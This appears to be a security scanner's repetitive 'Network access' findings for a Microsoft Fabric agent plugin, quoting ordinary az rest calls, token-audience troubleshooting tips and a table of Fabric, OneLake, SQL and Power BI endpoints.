RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/COMMON-CORE.md
- Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 43
